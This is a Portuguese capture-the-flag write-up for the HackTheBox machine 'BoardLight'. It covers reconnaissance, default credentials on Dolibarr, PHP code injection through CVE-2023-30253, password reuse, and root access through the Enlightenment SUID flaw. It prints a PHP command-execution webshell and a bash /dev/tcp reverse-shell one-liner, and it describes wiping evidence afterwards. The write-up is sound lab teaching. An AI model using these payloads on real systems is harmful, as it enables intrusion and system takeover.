BoardLight
#easy #HackTheBox #Linux #eJPT #eWPT
Atualizado
#easy #HackTheBox #Linux #eJPT #eWPT
Atualizado
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
Com a conectividade confirmada, o próximo passo é realizar uma varredura de portas abertas no alvo para identificar serviços expostos que possam ser vulneráveis a ataques.
Portscan Completo com Nmap
Iniciamos um scan com Nmap, utilizando a técnica de SYN Scan (-sS) para detecção rápida de portas TCP abertas e escaneamos todas as 65535 portas (-p-). O parâmetro --min-rate=5000 é utilizado para acelerar a varredura, forçando o envio de pelo menos 5000 pacotes por segundo.
Agora que identificamos as portas abertas, realizamos um escaneamento mais detalhado com o Nmap, usando a opção -sCV para detectar versões de serviços e realizar scripts básicos de detecção de vulnerabilidades. Aqui nos concentramos nas portas 22 (SSH) e 80 (HTTP).
Análise dos Serviços:
SSH (OpenSSH 8.2p1): O SSH está rodando a versão OpenSSH 8.2p1, que pertence à distribuição Ubuntu. Dependendo da configuração, pode haver brechas a serem exploradas, como permissões mal configuradas ou senhas fracas.
HTTP (Apache 2.4.41): O servidor web é o Apache 2.4.41, também da distribuição Ubuntu. Esta versão específica pode ser propensa a algumas vulnerabilidades conhecidas, que podem ser pesquisadas para determinar a possibilidade de exploração.
Com base nas versões de software detectadas (OpenSSH e Apache), podemos inferir que o alvo está rodando uma versão do Ubuntu Focal (20.04 LTS), conforme o mapeamento de versões encontrado no Launchpad, que é a plataforma de desenvolvimento do Ubuntu:
OpenSSH 8.2p1 está listado no Ubuntu Focal: https://launchpad.net/ubuntu/+source/openssh/1:8.2p1-4ubuntu0.11
Apache 2.4.41 também corresponde à versão distribuída no Focal: https://launchpad.net/ubuntu/focal/amd64/apache2/2.4.41-1ubuntu1
Esta informação pode ser útil para direcionar ataques, procurar vulnerabilidades específicas dessa versão do sistema operacional ou precipitar se o alvo possivelmente está a utilizar containers caso os codenames fossem distintos.
Para começar, usamos o WhatWeb, uma ferramenta para análise de sites que nos permite obter informações sobre as tecnologias utilizadas e outros metadados do servidor.
O servidor web está rodando o Apache 2.4.41, confirmando nossa descoberta anterior com o Nmap.
O ponto mais importante aqui é a identificação de um e-mail relacionado ao domínio "board.htb": info@board.htb. Isso sugere que o servidor tem um domínio configurado e, possivelmente, subdomínios relacionados. Portanto, a próxima etapa é testar esses subdomínios e configurá-los para nossa análise.
Configurando o Host no Sistema
Com base na descoberta do domínio board.htb, ajustamos nosso arquivo de hosts para que o domínio resolva corretamente no IP do alvo. Isso é crucial para garantir que as requisições HTTP que fazemos ao servidor sejam direcionadas corretamente.
Agora, podemos verificar se o domínio está resolvendo corretamente através de um simples ping:
Isso confirma que o domínio board.htb agora está mapeado corretamente para o IP 10.10.11.11 e está pronto para ser acessado diretamente.
Quando acessamos o domínio via navegador, vemos que ele se apresenta como o site de uma empresa de cibersegurança. Embora, à primeira vista, o site possa parecer inofensivo, isso não exclui a possibilidade de vulnerabilidades escondidas ou de que existam páginas ou funcionalidades não visíveis que possam ser exploradas.
Para ampliar a superfície de ataque, usamos a técnica de fuzzing de subdomínios, tentando descobrir subdomínios ocultos que possam oferecer serviços ou informações adicionais. Para isso, utilizamos a ferramenta FFUF (Fuzz Faster U Fool), que nos permite testar uma lista de palavras contra subdomínios do alvo, configurando o cabeçalho Host para diferentes possíveis entradas.
Como resultado, encontramos o subdomínio crm.board.htb, que retorna um status HTTP 200 OK, indicando que é uma página válida e potencialmente acessível. Esse subdomínio pode ser uma aplicação de gerenciamento de relacionamento com o cliente (CRM), o que pode conter informações sensíveis ou ser vulnerável a ataques direcionados.
Configurando o Novo Subdomínio no Hosts
Para podermos explorar o subdomínio crm.board.htb, devemos adicioná-lo ao arquivo de hosts, assim como fizemos anteriormente com o domínio principal.
Agora, o domínio crm.board.htb está resolvido corretamente, e podemos acessá-lo no navegador ou fazer requisições diretamente via ferramentas de exploração. Acessando o subdomínio crm.board.htb, vemos que ele hospeda um CRM Dolibarr versão 17.0.0, uma plataforma de gerenciamento de negócios com várias funcionalidades, como CRM e gestão de vendas.
Ao identificar que o Dolibarr estava rodando na versão 17.0.0, podemos perceber em seu repositório no GitHub que esta versão já está bem defasada: https://github.com/Dolibarr/dolibarr.
Pesquisei vulnerabilidades conhecidas para esta versão, e logo encontrei o CVE-2023-30253, uma vulnerabilidade de injeção de código PHP. No entanto, para explorá-la, era necessário primeiro obter credenciais de login.
Sabendo disso, realizei uma busca sobre credenciais padrão do Dolibarr, e encontrei no fórum oficial que as credenciais “admin:admin” poderiam funcionar em instalações padrão.
Testei essas credenciais e, embora a interface se comportasse de forma um pouco estranha, consegui acessar o painel como administrador.
Há diversas coisas para enumerar, mas antes, vamos usar algum exploit para testar se o CVE-2023-30253 é funcional neste alvo.
Primeiro, baixei um exploit do GitHub para este CVE:
Ao tentar executar o exploit, o seguinte comando foi usado para dispará-lo, no entanto, houve um erro que impediu a execução correta do exploit:
Esse erro indicava que algo estava errado com a tentativa automática de exploração. Diante disso, decidi analisar o código do exploit manualmente para entender como ele funcionava e tentar replicar a exploração de forma manual.
Criação de um site dentro do CRM Dolibarr: O exploit acessa a página http://crm.board.htb/website/index.php?action=createsite, permitindo a criação de um novo site diretamente pelo painel administrativo. Naveguei manualmente até esta URL e criei um site simples, conforme ilustrado:
Adicionando uma nova página ao site criado: Após criar o site, o exploit adiciona uma página ao site, clicando no botão de “+” no painel. Novamente, fiz isso manualmente.
Inserção de código PHP malicioso na página criada: Em seguida, o exploit injeta código PHP malicioso na página criada, permitindo a execução de comandos. Usei a funcionalidade “Edit HTML Source” para editar o HTML da página e inseri o seguinte código PHP simples para testar a execução de comandos:
<?pHp echo "Hello Haxor!"; ?>
Verificação da execução de código: Após salvar a página, pude acessar a URL do site criado e verificar que o código foi executado com sucesso:
Isso confirmou que o código PHP estava sendo executado corretamente, exibindo a mensagem "Hello Haxor!".
Agora que eu já tinha confirmado a execução de código PHP, o próximo passo foi explorar essa vulnerabilidade para permitir a execução de comandos remotos.
Injeção de código PHP para execução de comandos: Alterei o código PHP na página criada para permitir a execução de comandos remotos através de um parâmetro cmd. O código foi modificado para o seguinte:
<?pHp echo system($_REQUEST['cmd']); ?>
Testando execução de comandos: Usando o parâmetro cmd, enviei um comando simples (whoami) para verificar se era possível executar comandos no sistema:
O retorno foi www-data, confirmando que eu tinha capacidade de executar comandos no servidor com permissões do usuário da web.
Com a execução de comandos remotos funcionando, pude então iniciar um ataque de reverse shell para obter acesso direto ao sistema alvo.
Preparando o listener: Na minha máquina atacante, preparei um listener usando o Netcat para aguardar a conexão reversa:
Enviando a instrução de reverse shell: Usando a execução de comandos remotos, enviei a seguinte instrução para iniciar uma conexão reversa:
bash -c "bash -i >%26 /dev/tcp/10.10.14.200/443 0>%261"
Conexão estabelecida: Assim que o comando foi executado, recebi uma conexão reversa no Netcat, concedendo-me um shell interativo no servidor alvo:
Neste ponto, eu tinha controle remoto sobre o servidor e poderia executar comandos diretamente no sistema da vítima.
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:
Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
Agora com uma shell interativa adequada, a enumeração do sistema começou.
A primeira descoberta importante foi identificar a versão do sistema operacional utilizado, um Ubuntu Focal, confirmando que o reconhecimento externo do sistema estava correto:
Em seguida, verifiquei quais usuários estavam habilitados para usar um shell no sistema. Identifiquei dois usuários com console habilitado: root e larissa:
O próximo passo seria tentar mover-se lateralmente para o usuário larissa.
Durante a exploração dos arquivos web no diretório do Dolibarr, encontrei um arquivo de configuração que continha credenciais em texto claro.
O arquivo conf.php revelava informações de conexão ao banco de dados, incluindo a senha do usuário dolibarrowner:
Suspeitando de reutilização de senha, testei a senha encontrada no arquivo conf.php para o usuário larissa.
A suposição estava correta, e consegui migrar para a conta da usuária larissa:
Vi que a senha também é reutilizada para acesso via SSH:
Finalmente, após a movimentação lateral bem-sucedida, a user flag foi encontrada no diretório home de larissa:
A escalada de privilégios começou com a busca por arquivos com o bit SUID ativado, que permitiriam executar um binário com privilégios de root.
Entre os arquivos listados, me chamou atenção alguns relacionados ao enlightenment, um gerenciador de janelas leve e ambiente de desktop para sistemas Unix. Os binários encontrados é parte de suas utilidades.
O próximo passo foi verificar a versão do binário enlightenment no sistema alvo:
Apesar de não ser a versão mais recente, uma pesquisa revelou que a versão 0.25.3 do Enlightenment possui uma vulnerabilidade de escalada de privilégios, identificada como CVE-2022-37706, que poderia ser explorada para ganhar acesso root em sistemas onde o binário possui o bit SUID.
Como a versão encontrada no alvo é anterior à versão corrigida, havia a possibilidade de o exploit funcionar.
Execução do Exploit
Lendo o exploit, resolvi seguir sua exploração manualmente:
Vamos precisar do binário enlightenment_sys com permissão SUID, o que já vimos anteriormente que existe.
Preparação do ambiente: Criei diretórios temporários e configurei o exploit:
Execução do binário enlightenment_sys: O binário enlightenment_sys foi então executado, usando os parâmetros necessários para montar o diretório temporário e executar o shell /bin/sh. Após a execução bem-sucedida do exploit, confirmei que o usuário atual havia sido elevado para root:
Limpando as Evidências
Como boas práticas de pós-exploração, removi as evidências do exploit utilizado para garantir que não houvesse rastros:
Obtendo a Root Flag
Finalmente, o objetivo final do CTF foi atingido com a obtenção da root flag:
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.
